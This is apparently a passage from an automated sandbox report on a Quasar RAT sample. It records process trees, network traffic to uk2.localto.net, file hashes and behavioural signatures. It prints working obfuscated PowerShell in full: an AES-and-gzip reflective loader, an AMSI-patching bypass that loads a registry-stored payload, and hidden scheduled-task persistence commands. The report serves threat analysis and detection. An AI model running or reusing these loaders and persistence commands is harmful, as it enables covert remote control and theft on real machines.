'')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 3de9145dc0a2cc371aed49fb12f619de DHBwvi1umEOD0F5N4kSMWQ.0.1.0.0.0
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_999_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_999.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_999.vbs"
C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_999.bat" "
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l7xIjD7w3X9IZsoce95u+FWxpwh41oGtZjuJWP8Q3+U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Ji4GPB6lVnv6Xlch9sujw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aXkIe=New-Object System.IO.MemoryStream(,$param_var); $bzUdJ=New-Object System.IO.MemoryStream; $mnRoM=New-Object System.IO.Compression.GZipStream($aXkIe, [IO.Compression.CompressionMode]::Decompress); $mnRoM.CopyTo($bzUdJ); $mnRoM.Dispose(); $aXkIe.Dispose(); $bzUdJ.Dispose(); $bzUdJ.ToArray();}function execute_function($param_var,$param2_var){ $ncCdx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NjXjX=$ncCdx.EntryPoint; $NjXjX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_999.bat';$jtmXF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_999.bat').Split([Environment]::NewLine);foreach ($yxuaZ in $jtmXF) { if ($yxuaZ.StartsWith(':: ')) { $FJFrF=$yxuaZ.Substring(3); break; }}$payloads_var=[string[]]$FJFrF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
C:\Users\Admin\AppData\Local\Temp\Token Generator.exe
"C:\Users\Admin\AppData\Local\Temp\Token Generator.exe"
C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:cwafgNtDMDbo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uMlMkfqgJfwOXj,[Parameter(Position=1)][Type]$hLPLsLjHpm)$UJPHJEFFyAW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+'ec'+[Char](116)+''+[Char](101)+''+[Char](100)+'D'+'e'+'l'+'e'+''+'g'+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+'e'+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType('MyD'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+'e'+''+[Char](97)+''+'l'+'ed'+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+'a'+''+[Char](115)+'s'+[Char](44)+'Au'+[Char](116)+''+'o'+'C'+[Char](108)+'as'+'s'+'',[MulticastDelegate]);$UJPHJEFFyAW.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+'e'+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+'N'+''+[Char](97)+''+'m'+'e'+[Char](44)+''+[Char](72)+'id'+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$uMlMkfqgJfwOXj).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+'m'+'e'+','+[Char](77)+'anaged');$UJPHJEFFyAW.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+'g'+''+','+''+'N'+''+'e'+''+[Char](119)+'Sl'+[Char](111)+''+'t'+','+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$hLPLsLjHpm,$uMlMkfqgJfwOXj).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $UJPHJEFFyAW.CreateType();}$MjTfPhOQJHEPB=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+'ic'+[Char](114)+'o'+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+'i'+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+'a'+''+'f'+''+[Char](101)+''+'N'+''+'a'+'t'+[Char](105)+''+[Char](118)+''+'e'+'M'+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+'s'+'');$MnNHaDHPuqNsSw=$MjTfPhOQJHEPB.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+'t'+[Char](97)+'t'+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wnWIVeYsFXliZFNMGsr=cwafgNtDMDbo @([String])([IntPtr]);$fXizAlZMdhppkkHLBhoAjk=cwafgNtDMDbo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PpOWgLfWJFi=$MjTfPhOQJHEPB.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+'odu'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+'n'+''+'e'+''+[Char](108)+'3'+'2'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$ufGfYVmtFpGPRp=$MnNHaDHPuqNsSw.Invoke($Null,@([Object]$PpOWgLfWJFi,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$gbcOsfwDyvFFYmeaw=$MnNHaDHPuqNsSw.Invoke($Null,@([Object]$PpOWgLfWJFi,[Object]('V'+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+'t'+'e'+'c'+[Char](116)+'')));$wNeMKmF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ufGfYVmtFpGPRp,$wnWIVeYsFXliZFNMGsr).Invoke('a'+[Char](109)+''+[Char](115)+''+'i'+'.'+[Char](100)+''+'l'+''+'l'+'');$ZcaNUwKNEckTaWDDV=$MnNHaDHPuqNsSw.Invoke($Null,@([Object]$wNeMKmF,[Object](''+[Char](65)+''+'m'+''+[Char](115)+'i'+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$tfWAkXXBtE=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gbcOsfwDyvFFYmeaw,$fXizAlZMdhppkkHLBhoAjk).Invoke($ZcaNUwKNEckTaWDDV,[uint32]8,4,[ref]$tfWAkXXBtE);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ZcaNUwKNEckTaWDDV,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gbcOsfwDyvFFYmeaw,$fXizAlZMdhppkkHLBhoAjk).Invoke($ZcaNUwKNEckTaWDDV,[uint32]8,0x20,[ref]$tfWAkXXBtE);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+'T'+'W'+[Char](65)+'RE').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'s'+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
"C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"
C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{b3a447d1-ba5f-4331-a9a2-5c7c8531fea7}
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
"C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 82.90.14.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | uk2.localto.net | udp |
| GB | 140.238.91.110:6103 | uk2.localto.net | tcp |
| US | 8.8.8.8:53 | ipwho.is | udp |
| DE | 195.201.57.90:443 | ipwho.is | tcp |
| US | 8.8.8.8:53 | 110.91.238.140.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.57.201.195.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| GB | 140.238.91.110:6103 | uk2.localto.net | tcp |
Files
memory/6120-0-0x00007FFA0E5F3000-0x00007FFA0E5F5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xaal2ms.aub.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/6120-10-0x0000025523CC0000-0x0000025523CE2000-memory.dmp
memory/6120-11-0x00007FFA0E5F0000-0x00007FFA0F0B1000-memory.dmp
memory/6120-12-0x00007FFA0E5F0000-0x00007FFA0F0B1000-memory.dmp
memory/6120-13-0x000002550B920000-0x000002550B928000-memory.dmp
memory/6120-14-0x0000025546300000-0x000002554679E000-memory.dmp
memory/3656-16-0x00007FFA0E5F0000-0x00007FFA0F0B1000-memory.dmp
memory/3656-17-0x00007FFA0E5F0000-0x00007FFA0F0B1000-memory.dmp
memory/3656-27-0x00007FFA0E5F0000-0x00007FFA0F0B1000-memory.dmp
memory/3656-30-0x00007FFA0E5F0000-0x00007FFA0F0B1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | f8d49a4af7a844bfc7247d5670def557 |
| SHA1 | 26ae0ce194a77a7a1887cf93741293fdfa6c94c4 |
| SHA256 | 61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b |
| SHA512 | 9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\startup_str_999.vbs
| MD5 | 5745f49c5fa21aa9ff7e4fbb666f0d98 |
| SHA1 | 1565875fddf99907f6a41e7b1ee041f343d2cd4d |
| SHA256 | 008007db1ee4e7dedd28233ca1fcd0f1a833cc8595c9c662fe949b70fba34a87 |
| SHA512 | 57e6b6761021b7930c311b5e60c2bd1d2c97de54bc2c11f26855ef0c3f39cd9c4909ea9a861dd8c5857ac16de1c3a7fdbe6c69cb5bdf994e94bccfd33b910757 |
C:\Users\Admin\AppData\Roaming\startup_str_999.bat
| MD5 | e984ebea899379a8c0a47f9308c7370b |
| SHA1 | 863330006bef4c55a1bc79771ae989dc0412f717 |
| SHA256 | 9f413ae8218ec74eb61a052e1c2b8b27f8ee7038902db5aaea9c93e0752fa48b |
| SHA512 | 70934def86e93b350e72711e757cbe0a97a9a58259f184e2c97aeea3a2b9f016bb03e4fb499f3876248bfb43edec5e3949599448d95235afcb1b46d71362b975 |
memory/6120-49-0x00007FFA0E5F0000-0x00007FFA0F0B1000-memory.dmp
memory/6068-54-0x000001A3F6630000-0x000001A3F6954000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Token Generator.exe
| MD5 | 6d2ad4ada4961027832e557db06fc08d |
| SHA1 | 816018499f5e291850d7dd2a0d15c914e5607630 |
| SHA256 | 139ce0f6ed1d745a6776f831c641b2b30bb8d48ecd9c198a0b4bd8489899f60e |
| SHA512 | 1d99985c99fa16f712eee5604279463e18e77532e7a1586651178685ef38ba25b099c393edc44f2703d7e9f4ce7596b86ba3d9f0e00119e13474816a2186f241 |
C:\Users\Admin\AppData\Local\Temp\Install.exe
| MD5 | b51552b77057c2405f73bbbf9c89234a |
| SHA1 | 4793adbba023f90d2d2ad0ec55199c56de815224 |
| SHA256 | 720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0 |
| SHA512 | 564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66 |
memory/3200-72-0x00000000000C0000-0x00000000003E4000-memory.dmp
C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
memory/5124-88-0x00000247F7850000-0x00000247F787A000-memory.dmp
memory/5124-90-0x00007FFA2B480000-0x00007FFA2B53E000-memory.dmp
memory/3636-91-0x0000000140000000-0x0000000140008000-memory.dmp
memory/3636-94-0x0000000140000000-0x0000000140008000-memory.dmp
memory/3636-93-0x0000000140000000-0x0000000140008000-memory.dmp
memory/3636-92-0x0000000140000000-0x0000000140008000-memory.dmp
memory/5124-89-0x00007FFA2D1B0000-0x00007FFA2D3A5000-memory.dmp
memory/3636-98-0x0000000140000000-0x0000000140008000-memory.dmp
memory/3636-99-0x00007FFA2D1B0000-0x00007FFA2D3A5000-memory.dmp
memory/3636-100-0x00007FFA2B480000-0x00007FFA2B53E000-memory.dmp
memory/3636-101-0x0000000140000000-0x0000000140008000-memory.dmp
memory/616-104-0x000001868ED60000-0x000001868ED85000-memory.dmp
memory/616-105-0x000001868ED90000-0x000001868EDBA000-memory.dmp
memory/616-106-0x000001868ED90000-0x000001868EDBA000-memory.dmp
memory/616-112-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp
memory/616-111-0x000001868ED90000-0x000001868EDBA000-memory.dmp
memory/664-122-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp
memory/948-132-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp
memory/948-131-0x000001A49A440000-0x000001A49A46A000-memory.dmp
memory/948-126-0x000001A49A440000-0x000001A49A46A000-memory.dmp
memory/664-121-0x0000025CE3170000-0x0000025CE319A000-memory.dmp
memory/664-116-0x0000025CE3170000-0x0000025CE319A000-memory.dmp
memory/64-142-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp
memory/64-141-0x0000022A07F70000-0x0000022A07F9A000-memory.dmp
memory/64-136-0x0000022A07F70000-0x0000022A07F9A000-memory.dmp
memory/468-146-0x0000015295110000-0x000001529513A000-memory.dmp
memory/468-152-0x00007FF9ED230000-0x00007FF9ED240000-memory.dmp
memory/468-151-0x0000015295110000-0x000001529513A000-memory.dmp
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
| MD5 | 0b990e24f1e839462c0ac35fef1d119e |
| SHA1 | 9e17905f8f68f9ce0a2024d57b537aa8b39c6708 |
| SHA256 | a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a |
| SHA512 | c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
| MD5 | 7d612892b20e70250dbd00d0cdd4f09b |
| SHA1 | 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5 |
| SHA256 | 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02 |
| SHA512 | f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
| MD5 | f313c5b4f95605026428425586317353 |
| SHA1 | 06be66fa06e1cffc54459c38d3d258f46669d01a |
| SHA256 | 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b |
| SHA512 | b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890 |
memory/1860-948-0x000000001B000000-0x000000001B050000-memory.dmp
memory/1860-949-0x000000001B970000-0x000000001BA22000-memory.dmp
memory/1860-952-0x000000001B8B0000-0x000000001B8C2000-memory.dmp
memory/1860-953-0x000000001B910000-0x000000001B94C000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
| MD5 | 0167153ce84597cea78b3c93e33b7493 |
| SHA1 | 419fb4d76cf034bab28050bd09997a4fee3f215e |
| SHA256 | 962eac195dc838fc574aba190979e878007ccc5cceb4f20f4568483d4ea4bc51 |
| SHA512 | beb32fd1dceb863a555a28197df88e9327f07cd41fe61890dce3a933d6a215fc6920f8a208fb6548563c40d0d015f835f491dd988eea232539913b873102d260 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-26 20:56
Reported
2024-05-26 21:02
Platform
win11-20240508-en
Max time kernel
300s
Max time network
302s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 3748 created 636 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | C:\Windows\system32\winlogon.exe |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Token Generator.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx | C:\Windows\System32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx | C:\Windows\System32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx | C:\Windows\System32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 | C:\Windows\system32\svchost.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3748 set thread context of 3024 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | C:\Windows\System32\dllhost.exe |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 26 May 2024 20:58:35 GMT" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
